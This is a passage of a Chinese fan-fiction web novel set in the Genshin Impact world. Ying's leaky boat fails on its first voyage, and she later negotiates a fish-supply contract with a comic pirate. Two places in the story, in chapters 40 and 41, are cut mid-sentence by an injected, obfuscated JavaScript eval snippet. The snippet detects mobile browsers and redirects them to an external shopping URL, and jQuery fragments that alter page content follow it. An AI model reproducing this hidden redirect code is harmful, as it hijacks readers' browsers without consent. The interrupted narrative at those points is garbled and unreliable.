她把避水符小心收好，继续验船。 走到右舷，低头看第三块船板。 船板确实有点松，边缘翘起了一角，和旁边的板材之间有一道明显的缝隙。 荧小心翼翼地用脚踩了踩。 嘎吱。 好的，有声响但没掉。 又踩了一下，稍微加了点力。 嘎吱嘎吱。 还在。不错，比预期的结实。 也许老头夸张了？也许这块板其实没那么—— 第三下。 哗啦。 一块半米长的木板从右舷砸进海里，溅起一片水花。海鸥被吓得飞起来骂了一声。 荧低头看着脚下新出现的窟窿。碧绿的海水在下面晃荡，偶尔有小鱼游过去。 她想起前世网购的经验。买家评价："还行，没想象中那么差。"然后拆开快递发现——确实跟想象中一样差。 老头说踩重了会掉。 她踩了三下就掉了。 这不叫"踩重了会掉"，这叫"踩了就会掉"。 派蒙飘过来，看了看窟窿，看了看荧，歪了一下头。 "没事的荧！不就是一块板嘛！我们补上就好了！" 荧没说话。 派蒙继续安慰："你想啊，一条船上有多少块船板？" 荧："大概三百多块。" 派蒙伸出手指比划了一下："才掉了一块！还有三百多块呢！这个故障率是三百分之一，也就是百分之零点三三！荧你在蒙德教我的，百分之零点三三算不算安全？" 荧想说不算，但派蒙用了她自己教的数学来反驳她，她一时竟然找不到反对的切入点。 这就是教育的反噬。 她蹲下来，从窟窿边缘掰了掰旁边的船板。 第四块，纹丝不动。 第五块，纹丝不动。 第六块——也纹丝不动。 看来真的只有第三块有问题。就像班级里永远只有那一个人没交作业。其他船板都很尽责，第三块是唯一的叛徒。 荧站起身，拍了拍手上的木屑。 行吧。 一千五百摩拉的船。不能要求太多。 她回到船舱，在航行日志的第一页写下： "待办事项：补右舷第三块船板。预算——" 她想了想，写下："尽量不花钱。" 然后在下面又加了一行： "如实在需要花钱，上限50摩拉。" 再想了想，又加了一行： "如50摩拉还不够，考虑用冰史莱姆的凝液当胶水自己糊。" 她看着自己写的三行字，心想如果前世的同事看到她堂堂麦肯锡出身的策划师在用果冻胶水补船板，大概会帮她挂号精神科。 派蒙趴在旁边看她写完，认真地补了一句： "还有，下次踩之前先问一下老板哪块不能踩。" 荧看了她一眼。 派蒙理直气壮："这是经验总结！很有价值的！" 她拿过笔，在荧的待办事项下面歪歪扭扭地画了一行字，笔迹像蚯蚓在跳舞： "经验教训：不要连踩三下。" 荧合上日志。 稳沉号。一千五百摩拉。一个窟窿。一张丧葬用避水符。三十只冰史莱姆的债。 这就是望舒客栈进军稻妻航线的全部家当。 如果这是创业大赛的路演，评委听完大概会直接按淘汰键。 她站在甲板上，看着璃月港的港口。 远处有几艘漂亮的大商船正在装货，甲板擦得锃亮，帆面洁白，船员们穿着统一的制服，装卸货物井然有序。 荧低头看了看脚下的稳沉号。掉漆的船名，打补丁的帆，生锈的钥匙，和一个新鲜的窟窿。 差距大概相当于，别人骑着五星限定角色满命满精通，她拿着初始角色零命白板就敢进深渊十二层。 但她前世玩原神的时候，就是拿初始角色通关的深渊十二层。 能赢。只是难一点。 派蒙飘到她旁边："荧，你在想什么？" 荧拍了拍稳沉号的船舷。手掌拍上去的时候，一小片漆皮无声地飘落下来。 "我在想，我们出发点很低，但方向是对的。" 派蒙也拍了拍船舷。又一片漆皮掉了。 两人同时收回手，沉默了一秒。 派蒙小声说："荧，我觉得我们应该少拍这条船。" 荧收回手："同意。" 她看了一眼港口方向。 稻妻。 两个月后。 她和一条名叫"稳沉"的破船、一个贪吃的飞行伙伴、三十只充当抵押物的冰果冻、一张来历可疑的丧葬避水符，要一起去挑战跨国航线。 听起来像是一个注定翻车的故事。 但望舒客栈的每一个好故事，都是从翻车开始的。 40.第一次出海 出发那天，璃月港难得没有风。 海面平得像一块铺开的蓝色桌布，连褶皱都没有。 码头上几个老渔民看着天色，点头说"好天气"。 荧站在稳沉号的甲板上，手里拿着一份航行清单，逐项检查。 "食材，够三天。淡水，够五天。急救药品，有。冰史莱姆制冷设备，正常运转。右舷第三块船板——" 她低头看了看脚下。上次掉落的那块板已经用冰史莱姆凝液重新粘好了，表面刷了层防水漆，看起来跟其他船板没什么两样。 她小心翼翼地踩了一脚。 纹丝不动。 又踩了一脚。 纹丝不动。 她犹豫了一下，没敢踩第三脚。 派蒙飘过来："荧，你怎么站那儿不动了？" 荧："没事。在确认船板结实。" 派蒙："用踩的吗？上次不就是踩掉的？" 荧："所以这次只踩两下。" 派蒙歪头想了想，觉得这个逻辑好像没问题，又好像哪里不对。 老周头从船舱钻出来，擦了把汗。 他是上次买船时附带的老船员，在璃月港跑了三十年船，退休后又被荧用一百摩拉一天的日薪返聘了。 "荧老板，船舱检查完了。左舷三处接缝重新打了麻筋，底舱排水口通畅。帆绳都换了新的——虽然是我自己家晾衣绳改的，但结实。" 荧："辛苦了。" 老周头嘿嘿一笑："不辛苦。稳沉号这船啊，我跟你说，别看它破，底子好。当年跑过须弥航线、枫丹航线，啥大风浪没见过。" 派蒙小声说："它叫稳沉号，这名字就不太吉利……" 老周头一挥手："外行话！船名带''沉''字才好，那叫以毒攻毒。越说沉，越不会沉。你看那些取名''永不沉没''的船，哪个有好下场？" 派蒙想了想，觉得这个逻辑好像也没问题，又好像更不对了。 这时候，码头上传来一个声音。 "等等我！" 行秋拎着一个书箱，气喘吁吁地跑过来。 荧："你怎么来了？" 行秋跳上跳板："我借了你一千五百摩拉，抵押物是三十只冰史莱姆。现在那三十只史莱姆在你船上，你带着我的抵押物出海，我当然要跟着看看。" 派蒙："所以你是来监工的？" 行秋咳了一声："我是来体验生活的。小说素材嘛。" 他从书箱里抽出一本空白的册子和一支笔："正好，我在写一部航海题材的话本，需要第一手资料。" 荧看了看他，没说什么。多一个人多一份劳动力，而且行秋好歹练过武，万一遇到海盗也算个战力。 "上船吧。但是有三条规矩。第一，听指挥。第二，不准挑食。第三，你的冰元素如果能用来保鲜食材，要无偿提供。" 行秋："第三条不是规矩，是剥削。" 荧面不改色："这叫搭船费。" 行秋叹了口气，上了船。 初号机在桅杆旁边等着，看到所有人都到齐了，兴奋地挥了挥手里的小旗子——荧让它当了瞭望员。 荧："所有人就位。老周头掌舵，初号机瞭望，派蒙负责记录航行日志，行秋……帮忙拉绳子。" 行秋看了看自己拿笔的手，又看了看粗糙的帆绳，决定先不说什么。 "稳沉号，起航。" 帆面展开，海风灌进来，稳沉号缓缓驶离码头。 出港的过程异常顺利。 风向正好，从西北方吹来，推着稳沉号沿海岸线往东南走。老周头站在舵轮后面，双手稳稳地把着方向，表情悠闲得像在自家院子里晒太阳。 海面依旧平静。碧蓝的水面上，偶尔有海鸥掠过，叫声清脆。远处璃月港的轮廓越来越小，最后变成一条细细的线。 派蒙趴在船头，被海风吹得头发乱飞，兴奋地喊："出海啦！" 初号机在桅杆上也跟着喊："姆西米塔！"（朋友好开心！） 行秋坐在甲板上，一边享受海风，一边在册子上写写画画。他已经开始了他的话本素材收集，封面写着《璃月航海英雄传》。 荧在船尾算账。 这次出海的目的是试航。从璃月港出发，沿海岸线走半天，到达归离原外海的渔场，装一批海鲜回来卖。如果顺利，三天内就能往返。 海鲜的利润不高，但重要的是积累航行经验。等稻妻航线开通，她才有底气跑远洋。 中午，大家在甲板上吃了顿简餐。大伟丘出发前准备的饭团，配上冰史莱姆冰镇的凉茶，在海风里吃起来格外爽口。 行秋尝了一口饭团，点头："不错，你们那个丘丘人厨师手艺确实好。" 派蒙一口气吃了三个："出海真是太棒了！蓝天白云，海风拂面，美食相伴！这才是生活！" 老周头叼着烟斗，笑眯眯地看着年轻人们："享受吧，趁天气好的时候。" 荧注意到他这句话的语气，抬头看了看天。 西边的天空，有一条细细的灰色线。 荧："老周头，那边的云……" 老周头顺着她的目光看过去。 他的笑容收了。 "起风了。" 变天的速度比翻脸还快。 刚才还万里无云的天空，不到半个时辰就被黑压压的乌云盖住了。海风从西北方猛地转向正西，风力从三级直接跳到六级，浪头从半米窜到两米。 稳沉号在浪里摇晃得像个醉汉。 派蒙第一个慌了："荧！好大的浪！" 老周头死死握着舵轮，额头上的青筋暴起："荧老板！得收帆！风太大了，帆面兜风会把桅杆折断！" 荧冲向桅杆。 "收帆！"老周头又喊了一遍。 荧拽着帆绳，海风呼啸，浪花砸上甲板。她根本听不清老周头在喊什么——风声和浪声混在一起，只有模糊的音节灌进耳朵。 "……''手''帆！" 手帆？ 荧脑子转了一圈。手帆是什么操作？用手去拽帆面吗？ 她伸手去抓帆面边缘。 一阵猛风灌进帆布，整面帆鼓成一个巨大的气球，连着帆绳一起猛地弹起。荧的手还攥着帆绳没来得及放，整个人被拽离了甲板。 "啊——！" 她被帆绳拖着在空中荡了半圈，像游乐场里失控的旋转秋千，双脚离地两米多高。 派蒙在下面惊叫："荧！" 行秋扔下话本冲过来："放手！" 荧在空中摇晃着，风把她吹得东倒西歪。她低头看了看脚下的甲板，又看了看手里的绳子。 放手会摔到甲板上。不放手会被甩到海里。 两个选项都不太行。 老周头急得跺脚："我说的是''收帆''！收——帆！把帆收起来！不是让你用手去薅帆！" 荧在空中恍然大悟。 收帆。不是手帆。 前世做广告策划的时候，最怕的就是甲方说"我要五彩斑斓的黑"。现在她发现，海上比广告圈更可怕！至少甲方不会让你飘在半空中才解释需求。 "初号机！" 初号机从桅杆上探出脑袋："姆西？"（什么？） 荧："绳子！拉我下来！" 初号机手忙脚乱地拽住帆绳，和行秋两个人合力把荧拉回甲板上。 荧一落地就冲到桅杆底座，和行秋一起把帆绳一圈圈绕紧。帆面在风中挣扎了几下，终于被死死收住了。 但更大的麻烦来了。 "荧老板！进水了！" 老周头指着右舷。 荧冲过去一看——第三块船板。冰史莱姆凝液粘的那块。海水正从缝隙里往船舱里灌。不是喷涌而入那种，而是一股一股地渗，像是在不慌不忙地完成某种使命。 派蒙："又是第三块！" 老周头看了一眼，表情出奇地淡定。 他叼着烟斗，蹲下来看了看进水的速度，又站起身，拍了拍荧的肩膀。 "荧老板，别慌。这是稳沉号的传统。" 荧："传统？" 老周头一脸过来人的表情："每次出海，右舷第三块板都会漏。前前前任船主的时候就这样了。我们都习惯了。" 荧的表情像是被人在嘴里塞了颗柠檬。 行秋在旁边握着笔，认真地在话本上记下一行字：船有进水传统。他觉得这个设定放进小说里，读者一定会骂他胡编。但事实就摆在眼前。 荧："习惯了？那你们以前怎么处理？" 老周头从船舱角落翻出一个生锈的铁桶："舀呗。" 他把铁桶递给荧，又翻出第二个递给行秋，第三个递给初号机。 "三个人一起舀，保证进的没有出的快，船就沉不了。这也是''稳沉''的精髓——稳定地进水，但稳定地不沉。" 荧接过铁桶的时候，心里在想：这条船不是一千五百摩拉的问题了。这是一千五百摩拉的诅咒。 三个人开始舀水。初号机舀得最卖力，一桶一桶往外泼，嘴里还喊着"姆西哒哒"（好开心）。它显然把这当成了某种游戏。 行秋舀了几桶之后，衣袖全湿了。他低头看了看自己湿透的锦衣，又看了看话本——话本也湿了。 他的表情终于裂开了："我是来体验生活的，不是来体验沉船的。" 就在这时，风暴达到了最猛烈的程度。 一道巨浪从侧面砸过来，稳沉号猛地一歪。甲板上的所有人都被晃倒了。 荧摔在甲板上，下意识地摸向腰间。 避水符。 钟离给的那张往生堂出品的避水符。 她把符纸攥在手里。符纸瞬间亮起金色的光芒，一层透明的岩元素屏障从她身体周围展开，像一个刚好够一个人站的圆形气泡，把海水和风浪都挡在了外面。 屏障里面干爽、安静、温暖。外面是狂风暴雨。 荧站在屏障里，愣了一秒。 这玩意儿居然真的管用。 派蒙在外面被风吹得东倒西歪，看到荧身上的光，立刻扑过来："荧！让我也进去！" 她一头撞上屏障。 嘭。 弹回去了。 派蒙揉着额头又试了一次。 嘭。 又弹回去了。 "荧！怎么进不去！" 荧伸手去拉她。手穿过了屏障，但派蒙被弹了第三次。 嘭。 这个屏障显然只保护持有者一个人。避水符的设计初衷大概是保护棺——保护旅行者个人安全。一人一符，童叟无欺。 派蒙在风雨中拍打着屏障，像一只被关在玻璃窗外的猫："荧！你忍心吗！" 荧一脸无奈，隔着屏障看着她："我也没办法，这符就这个设计……" 一个大浪打过来。派蒙被水柱冲得在空中翻了三个跟头，最后像个湿抹布一样啪地贴在桅杆上。 荧："……你还好吗？" 派蒙从桅杆上缓缓滑下来，头发糊了一脸，嘴里吐出一小条海草。 "我很好。谢谢关心。" 她的语气平静得不正常。 荧觉得这件事可能要被记恨很久。 风暴又持续了小半个时辰。 这段时间里，行秋和初号机轮流舀水，老周头死死抱着舵轮不让船翻，荧站在避水符的屏障里一边干燥一边内疚——她试过把屏障关掉和大家一起淋雨，但屏障关不掉。钟离先生的作品一向品质过硬，连关闭功能都没设计。 派蒙在风雨中飞了整整小半个时辰。 她的飞行轨迹大概是这样的：被风吹到左舷→挣扎着飞回来→被浪拍到右舷→再挣扎着飞回来→被风卷到桅杆顶→翻着跟头落下来→再被吹到左舷。 周而复始。 初号机很担心她，每次她飘过来就伸手去抓，但每次都差那么一点。最后初号机举着铁桶站在甲板中央，像守门员一样等着接派蒙。 派蒙第七次飘过来的时候，终于一头栽进了铁桶里。 初号机抱着铁桶，开心地喊："姆西米塔！"（接住朋友了！） 铁桶里传出闷闷的声音："……谢谢。" 风暴终于在傍晚时分减弱了。 但稳沉号的情况不太好。 船舱里的积水已经到了脚踝，右舷的缝隙越来越大，帆面被风扯破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173199|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个口子，左舷也出现了新的渗水点。 老周头拧着眉头看了看四周。他们已经被风暴吹离了预定航线，周围全是陌生的海域。 "荧老板，得找个地方靠岸修船。这样下去不行。" 荧："最近的岸在哪？" 老周头摇头："不清楚。风暴把我们吹偏了。" 正说着，南边的海面上出现了一艘船的轮廓。 船很大，三桅帆船，吃水很深，船头挂着一面黑底红纹的旗帜。 老周头一看那旗帜，乐了："是南十字船队！北斗船长的船！" 荧松了口气。北斗。可靠的人。 南十字号靠过来，北斗站在船头，叉着腰往下看。 她先是看到了漏水的稳沉号，然后看到了淋成落汤鸡的行秋和老周头，再看到了站在干燥屏障里一尘不染的荧，最后看到了蜷在铁桶里的派蒙。 北斗笑了。笑声在海面上回荡了很久。 "哈哈哈哈哈！你们这是什么情况？一个干的三个湿的一个桶里的？" 荧："北斗姐，能帮忙拖我们一程吗？" 北斗收住笑，抱着胳膊靠在船舷上："拖你们？可以啊。但南十字船队有规矩，海上救援不是免费的。" 荧心里咯噔一下。 北斗竖起一根手指："五千摩拉。" 派蒙从铁桶里探出脑袋，湿漉漉的头发耷拉下来，嘴里还挂着海草："五千？！" 荧也肉痛。五千摩拉快赶上这条船的三倍了。 "北斗姐，能不能便宜点？" 北斗笑眯眯地说："友情价了。市场价八千。你要是愿意，可以用你船上的冰史莱姆抵一部分。三只抵一千。" 行秋立刻从甲板上跳起来："那是我的抵押物！" 荧飞速做了个心算。付现金五千太肉痛，但让出三只冰史莱姆就得跟行秋重新谈抵押条款。 她深吸一口气："现金。五千。" 她从防水袋里掏出钱袋，一张一张数出五千摩拉，递给北斗的水手。 每一张摩拉递出去的时候，她都觉得心脏被拧了一下。 派蒙在铁桶里默默数着："一千、两千、三千……" 每数一个千，她的脸就抽搐一下。 "四千……五千。" 荧把空了大半的钱袋收回来。 北斗满意地收好钱，冲船员挥手："放拖缆！把那条小船拉上！" 南十字号的水手们熟练地放下绳索，把稳沉号拖在后面。两条船一大一小，缓缓往璃月港方向驶去。 夜色降临的时候，璃月港的灯火出现在远处的海面上。 稳沉号被南十字号拖着，缓缓驶进港口。 码头上聚了不少人。 派蒙从铁桶里爬出来，看到岸上的人群，忽然精神了。 "荧！你看！那么多人！他们是不是来欢迎我们的？" 荧也看到了。码头上确实挤满了人，有渔民、有商贩、有码头工人。他们都在往这边看。 派蒙激动地整理了一下自己被海水泡得乱七八糟的头发："我就说嘛！我们第一次出海，肯定很多人关注！这是望舒客栈的历史性时刻！" 她飘到船头，准备摆出一个凯旋的姿势。 稳沉号靠岸。 人群里有人喊了一句："快看！就是那条船！被南十字号拖回来的！" 又有人喊："哈哈哈哈！出港半天就被拖回来了！" 还有人在笑："这是哪家的船？叫什么名字？稳沉号？哈哈哈这名字取得好！果然够稳！" 笑声在码头上此起彼伏。 派蒙保持着凯旋姿势，僵在船头。 荧走过去，拍了拍她的肩膀。 "那不是欢迎。那是围观。" 派蒙慢慢放下手臂，转过头来。 她的表情像被浸了盐水的柠檬。 "我想回铁桶里。" 荧没理她。她看着码头上笑成一片的人群，又看了看脚下这条千疮百孔的稳沉号。 船舱还在漏水，帆面破了个洞，甲板上到处是海草和积水。她自己虽然干燥，但钱袋空了大半。 前世她做策划的时候，有一条铁律：任何新项目的第一次执行，都是用来暴露问题的。不要期待第一次就成功，要期待第一次失败得有价值。 今天暴露的问题清单：不会航海术语，不会看天气，船体密封不达标，缺乏应急预案，没有备用帆面，以及——避水符应该多备一张。 她翻开航行日志，在第一页写下： "首航总结：出港半天，被拖回来。损失五千摩拉。" 顿了顿，又写： "经验价值：远超五千摩拉。" 再顿了顿，写下最后一行： "下一步：学航海。找北斗拜师。" 她合上日志，看了一眼还在码头上笑的人群。 行秋拧着湿透的衣袖走过来，把那本同样湿透的话本摊开晾着。 "荧，我得说，今天的体验非常丰富。" 荧："丰富到想退钱？" 行秋笑了笑："不至于。不过我决定在话本里把主角的船名改成''永不沉没号''。" 荧："别。那个名字更不吉利。" 行秋："也对。那就叫''稳沉号''好了。读者肯定以为我在搞笑。" 荧："你就是在搞笑。" 老周头蹲在甲板上，用麻绳重新加固右舷第三块船板。他一边绑一边念叨。 "第一次出海都这样。我年轻那会儿第一次跑船，还没出港就撞上码头了。你这算好的，至少出了港才出事。" 荧看着他。 老周头抬头冲她笑了笑："荧老板，明天还出海不？" 荧想了想。 船漏了，帆破了，钱少了，人笑了。 但这条航线，总得有人去跑。 "出。" 派蒙从铁桶旁边飘过来，头发还在滴水。 "荧，如果明天还出海，我有一个要求。" 荧："什么？" 派蒙认真地说："再弄一张避水符。" 她停顿了一秒。 "给我的。" 41.二次出海：海盗购货协议（上） 第二次出海是在三天后。 这三天里，荧做了几件事。 第一，修船。老周头带着初号机把右舷第三块船板拆了重装，这次用的不是冰史莱姆凝液，而是正经的船用桐油灰。花了八十摩拉，心在滴血，但总比再被拖回来强。 第二，补帆。被风撕破的帆面让蒙三缝好了。蒙三的针线活出奇地好，缝出来的补丁整整齐齐，甚至在边缘绣了一圈丘丘人风格的锯齿纹，像是在破洞上开了朵花。 第三，买了第二张避水符。 这件事费了不少周折。荧去往生堂找胡桃，胡桃听完来意，笑得前仰后合。 "你说派蒙被弹出去七次？哈哈哈哈！避水符本来就是单人用的嘛！那是给棺——给旅行者设计的个人防护用品！" 荧："所以能不能再买一张？" 胡桃："可以啊！不过避水符是限量手工品，一张两千摩拉。" 荧的心又在滴血了。 最后胡桃给她打了个折，一千五百摩拉。荧付钱的时候，觉得自己这辈子花在"水"上的钱，比花在"吃"上的还多。 第四，学了三个航海术语。 老周头在码头教她的。"收帆"、"转舵"、"落锚"。老周头说，至少把这三个词听清楚，下次就不会被帆绳拖着飞了。 荧把三个词背了一整天。 派蒙考她："风暴来了怎么办？" 荧："收帆、转舵、落锚。" 派蒙："帆绳缠住了怎么办？" 荧："松手。" 派蒙满意地点头："很好！你已经超越了上次的自己！" 荧觉得这个标准低得离谱，但也没反驳。 第三天清早，稳沉号再次起航。 这次的阵容和上次一样：荧、派蒙、初号机、老周头。行秋没来，他说上次的"素材"够写三本话本了，短期内不需要再体验了。 荧怀疑他是被舀水舀出了心理阴影。 天气很好。老周头出发前特意去问了码头上最老的那个渔民，老渔民看了看天、闻了闻风、舔了舔手指，说"三天内没大风"。 荧问老周头："舔手指能测天气？" 老周头："不能。但老赵头的手指预报比璃月气象台准。" 稳沉号沿着海岸线往南走。 这次的航线比上次远一些，目标是璃月南部外海的一片渔场。老周头说那边盛产璃月特有的琉璃鲷鱼，品质好的在港口能卖到五十摩拉一条，杂鱼也能卖十几摩拉。如果运气好，一网下去能捞几十条。 上午很平静。 海面像上次出发时一样温顺，风从东边来，推着稳沉号平稳前行。派蒙趴在船头享受海风，初号机在桅杆上挥小旗子，老周头哼着不知名的渔歌掌舵。 荧坐在船尾，一边看航海图一边算账。 这次出海的成本：修船八十摩拉，补给一百二十摩拉，避水符一千五百摩拉，老周头工资三百摩拉。总计两千摩拉。 如果能带回一百条琉璃鲷鱼，收入三千摩拉，净赚一千。 不多，但至少是正数。 上次出海净亏五千。如果这次赚一千，两次合计还是亏四千。 她在账本上写下"累计亏损：四千摩拉"，然后叹了口气。 航海这门生意，入门学费真贵。 中午，他们到了渔场。 老周头指挥初号机下网。初号机站在船尾，把渔网甩出去，动作干脆利落。网在空中划了个漂亮的弧线，落入水中。 等了半个时辰，收网。 网里沉甸甸的，拖上来一看，七十多条琉璃鲷鱼，银色的鳞片在阳光下闪闪发光。还混着几条杂鱼和一只大螃蟹。 派蒙眼睛亮了："好多鱼！" 荧也松了口气。七十条琉璃鲷鱼，按五十摩拉一条就是三千五。加上杂鱼和螃蟹，这一网少说值四千摩拉。 "再下一网。" 第二网又捞了六十条。加上第一网，总共一百三十多条鱼。 荧在心里算：一百三十条琉璃鲷鱼加杂鱼，总共能卖七千多摩拉，净赚五千。相当可以。 她让初号机把鱼装进冰史莱姆制冷的保鲜舱，准备返航。 然后她看见了那面旗。 南边的海面上，一艘中型帆船正朝他们驶来。船头挂着一面黑色的旗子，上面画着一个骷髅，骷髅嘴里叼着一把刀。 老周头的烟斗掉了。 "海盗。" 荧的第一反应是看了看保鲜舱里的鱼。 她的第二反应是摸了摸腰间的避水符。 她的第三反应是：账本在哪？ 海盗船比稳沉号大两倍，速度也快得多。不到一刻钟，就追上了正在调头的稳沉号，从侧面逼了上来。 两条船靠在一起的时候，荧才看清楚对方的船。 船体漆成黑色，但漆面斑驳脱落，底下露出发霉的木头。甲板上站着十来个人，穿着乱七八糟的衣服，有的拿刀，有的拿棍子，有一个拿着鱼叉。 说实话，看起来也不太专业。 为首的是一个壮汉，光头，左眼戴着黑色眼罩，右眼瞪得铜铃大。他腰里别着两把弯刀，胸口有一道很长的刀疤，看起来很凶。 "全都别动！" 壮汉一脚踩上稳沉号的船舷，弯刀往甲板上一指。 "老子是璃月外海的''独眼龙''！没听过这个名号的，今天就让你们长长见识！乖乖交出船上的货物和摩拉，饶你们一命！" 派蒙躲在荧身后，小声说："荧，海盗……" 初号机紧张地握着小旗子，不知道该挥还是不该挥。 老周头反而很淡定。他重新捡起烟斗，拍了拍灰，点上，吸了一口。 荧看着独眼龙。 然后她看了看他的眼罩。 "你叫独眼龙？" 独眼龙叉腰："没错！" 荧："那你的眼睛……" 独眼龙愣了一下，大概没想到被劫的人会先问这个。 派蒙也好奇地从荧身后探出头："是受伤了吗？打架弄瞎的？" 独眼龙沉默了两秒钟。 然后他掀起眼罩。 眼罩下面是一只完好无损的、炯炯有神的左眼。 两只眼睛都好好的。 派蒙："……你两只眼都好着呢？" 独眼龙把眼罩放下来，清了清嗓子："这是艺名！懂不懂！艺名！就跟说书先生取个号一样！在这片海上，你不取个狠名字，谁把你当回事？你见过叫''双眼龙''的海盗吗？那像话吗？" 他身后的手下们纷纷点头。 一个拿鱼叉的小弟补充："大哥试过别的名字。''碧海狂鲨''，太文艺。''断头刀王''，太吓人，有一次把客户——我是说目标——吓晕了。最后还是''独眼龙''好使，经典，响亮，有辨识度。" 独眼龙瞪了小弟一眼："谁让你说的？" 他转回头，重新摆出凶狠的表情，弯刀又往前一指。 "少废话！把货交出来！" 荧没动。 她看了看独眼龙，又看了看他身后那十来个手下。说实话，这帮人虽然穿得像海盗，但气势上差点意思。有两个人的刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178108|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是生锈的，拿棍子那个棍子上还系着个葫芦，那分明是个晾衣杆。 荧做了一个判断：这帮人大概率不是那种杀人越货的狠角色，更像是在外海讨生活的散兵游勇。 但她也很清楚自己的处境。穿越之后她就失去了元素力，既放不出风之刃也召不来岩盾，空有旅行者的身份却没有旅行者的战力。对面十几个人，哪怕是业余海盗，真动起手来她也打不过。 唯一的武器就是嘴。 她从怀里掏出账本。 独眼龙愣了："你掏账本干什么？" 荧翻开账本，举到独眼龙面前。 "你看。" 独眼龙凑过来看。 账本第一页写着： "望舒客栈资产负债表 总负债：约四十万摩拉 其中：北岸银行贷款二十五万摩拉，利息按月计 本船''稳沉号''购入价：一千五百摩拉 首航亏损：五千摩拉 本次出海成本：两千摩拉" 独眼龙的表情从凶狠变成了困惑，又从困惑变成了微妙。 荧翻到第二页："这是每月的还款计划。你看，光利息一个月就要……" 独眼龙一把推开账本："我不看这个！我是来抢劫的！不是来查账的！" 荧面不改色："我知道。所以我在告诉你，你抢不到什么。" 独眼龙指着保鲜舱："鱼呢？我看到你们刚捞了鱼！" 荧："一百三十条琉璃鲷鱼，市价大概六千五百摩拉。但这些鱼是用来还债的。你抢走了，我就还不上这个月的利息，北岸银行就会派人来追债。" 她顿了顿，语气真诚。 "你想想，银行的追债跟你们的抢劫，哪个更狠？" 独眼龙想了想，好像觉得她说得有道理。 这时候派蒙从荧身后飘出来，补了一刀。 "而且你看看这条船。" 她指了指稳沉号的甲板。 "帆是缝过的，船板上次刚掉过一块，上次出海被北斗拖回来花了五千摩拉拖船费。你把这条船抢走，修船的钱比船值钱。" 独眼龙的手下们也开始左顾右盼，打量稳沉号。 拿鱼叉的小弟小声说："大哥，这船确实破。咱们的船都比这个好……" 独眼龙瞪了他一眼。 荧抓住时机，往前走了一步。 "独眼龙大哥，我有个提议。" 独眼龙："什么提议？" 荧："你抢我的鱼，六千五百摩拉的货，你还得自己拉回去卖，找买家，讨价还价，被码头的中间商压价。卖完之后十几个兄弟分，一人能分多少？五百？但如果你不抢我，跟我做生意，你能赚更多。" 独眼龙哼了一声："做生意？我是海盗！海盗做什么生意？" 荧："海盗为什么不能做生意？你们在海上跑，我也在海上跑。你们有船有人，我有客栈有销路。你们捕到鱼、采到珊瑚、捞到海货，拉到港口卖，得自己找买家，还得被码头的中间商压价。但如果你们直接卖给我……" 她翻开账本空白的一页，拿出笔，在上面飞快地写了起来。 "望舒客栈常年收购海鲜。琉璃鲷鱼，港口市价五十摩拉一条，我给你们三十五摩拉收购，你们省了跑码头、找买家、被中间商压价的麻烦。而且量大有奖励，一百条以上我给你们四十摩拉一条。你们抓得越多，单价越高。珊瑚、珍珠、海藻，都收，另议价格。直接海上交货，省时省力。" 独眼龙沉默了。 他身后的小弟们开始窃窃私语。 42.二次出海：海盗购货协议（下） "大哥，好像挺划算……" "三十五摩拉一条？码头上张老三才给我们二十五！还得搬上搬下的！" "超过一百条还给四十？那咱们拼命捞就是了！" "而且不用卸货不用搬运，海上直接交割？" 独眼龙举手让他们安静。 他盯着荧看了几秒钟："你一个负债四十万的客栈老板，拿什么保证你能付得起货款？" 荧早料到他会问这个。 她从怀里掏出一份文件，望舒客栈的商户协会会员证，上面盖着璃月总务司的章。 "望舒客栈是璃月商户协会注册商户，在册经营，有总务司背书。你跟我做生意，走的是正规商业渠道。万一我赖账，你可以去商户协会投诉。" 独眼龙的表情变得更微妙了："海盗去商户协会投诉？" 荧面不改色："商户协会只看会员证和交易合同，不看你是什么职业。" 派蒙在旁边疯狂点头："对对对！璃月讲的是契约精神！只要签了合同，谁都得遵守！" 独眼龙一只手摸着下巴，另一只手无意识地转着弯刀。 他在思考。 荧看出来了，这个人不蠢。他当海盗可能不是因为天生爱抢劫，而是没有更好的营生。如果有一条稳定的赚钱路子，他未必不愿意试试。 "独眼龙大哥，你想想。抢劫是一锤子买卖，抢完这次就没了。但做生意是长期的。你们在海上活动，比任何渔民都了解哪里有好渔场、哪里出珊瑚、哪里有稀有海产。这些信息本身就值钱。你们不是海盗，你们是……" 她想了想，找了个词。 "海上供应商。" 独眼龙的眼罩差点掉了。 "海上……供应商？" 他身后的小弟们面面相觑。 拿鱼叉的小弟举手："大哥，我觉得这个头衔比''独眼龙''好听。" 独眼龙又瞪了他一眼。 但他没有拒绝。 荧从账本上撕下一页纸，在上面写了起来。派蒙飘在旁边帮忙吹干墨迹。 五分钟后，一份简易合同写好了。 荧把纸递给独眼龙。 "《海盗（划掉）海上供应商购货协议》" 独眼龙看了看标题，皱眉："把''海盗''划掉。" 荧划掉了。 协议内容很简单： 一、乙方（原独眼龙海盗团，现"碧海商队"）负责在璃月外海捕捞海鲜及采集海产品。 二、甲方（望舒客栈）以三十五摩拉/条的价格收购乙方提供的琉璃鲷鱼。单次交易量超过一百条的，按四十摩拉/条结算。其他海产品价格另议。 三、交货方式为海上直接交割。甲方提供保鲜设备，乙方负责运至指定海域。 四、货款于交货后三日内以摩拉结清。 五、本协议有效期三个月。期满双方满意可续签。 